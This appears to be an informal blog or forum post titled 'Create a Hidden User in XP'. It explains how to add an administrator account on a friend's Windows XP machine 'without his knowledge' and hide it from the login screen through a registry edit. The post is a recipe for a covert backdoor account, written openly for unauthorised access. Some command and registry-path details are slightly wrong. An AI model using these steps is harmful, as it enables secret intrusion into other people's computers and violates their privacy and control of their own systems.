Create a Hidden User in XP

Hey friends ,this post will help u in getting into ur friend's machine without his knowledge.
1. First of all u have to create a normal account via cmd (Command Prompt) :

         Start >Run >cmd >net user hidden /add

'hidden' is the username of the hidden account that u want to create. U can choose any.

2. If u want to grant that user "Administrative Rights", u can do by as follows :

       Start >Run >cmd >net localgroups Administrators hidden /add

Obviously who wants a less privileged account.

3. Here came the registry editing part. One of my favorite sport, as i love to tweak with windows registry.

      Start >Run >regedit
Goto following Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
Winlogon\SpecialAccounts\UserList

Create the Value Data Type by right clicking in right pane.

Data Type: REG_DWORD [Dword Value] // Value Name: hidden AND Value Data: [0 = Account is Hidden / 1 = Enabled]
Exit Registry and Reboot

Voila !!!!! On welcome screen u wont be able to see the hidden account.

U can access it by pressing "Ctrl+Alt+Del" twice. In username write 'hidden' and press Enter.

Welcome to UR new Hidden Account :D
